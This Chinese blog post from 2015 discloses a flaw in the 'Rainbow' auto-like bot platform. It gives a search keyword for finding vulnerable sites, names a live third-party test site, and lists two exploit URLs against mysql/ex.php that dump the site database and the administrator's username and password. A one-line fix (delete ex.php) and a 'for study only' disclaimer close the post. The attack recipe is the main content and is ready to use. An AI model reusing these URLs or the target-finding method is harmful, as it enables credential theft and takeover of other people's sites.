[漏洞]分布式秒赞秒评挂机平台_彩虹系统秒赞网_爆破管理员用户密码


有朋友反应 易捷博客网的秒赞出问题不能使用了,本来打算使用 彩虹秒赞系统  

因为一些原因,没有时间,所以此事就告段落了。


今天在网上看到 彩虹秒赞系统 相关的漏洞。发过来让大家看下,也可以防范下。


百度搜索关键字:分布式秒赞秒评挂机平台

会出现很多秒赞网   基本上都是彩虹系统的。


测试地址:http://gb.xsscp.com/ 【友情检测,并无恶意。如有疑问,请及时联系易捷博客站长进行删除:QQ:656536055】


QQ截图20151112161602.png


我们要用到两个代码:


获取网站数据库:http://网址/mysql/ex.php?export=9D3B&from=vxia.net

获取管理员账号密码:http://网址/mysql/ex.php?export=DED7&from=vxia.net


我们先来看下 获取网站数据库截图:

QQ截图20151112161807.png


获取管理员账号密码截图:

QQ截图20151112161825.png


这是后台管理:

QQ截图20151112162256.png


修复方案:

在秒赞源码中,找到 mysql文件夹,里面有个ex.php文件,选择删除即可。


提示:仅用于学习交流,请勿用于非法用途。一切责任与易捷博客网无关。


标签: 秒赞 漏洞

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.vxia.net/post-744.html

相关推荐

评论

  1. 2015-11-14 07:49
    哈哈,这个不错,了解了解

你肿么看?

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。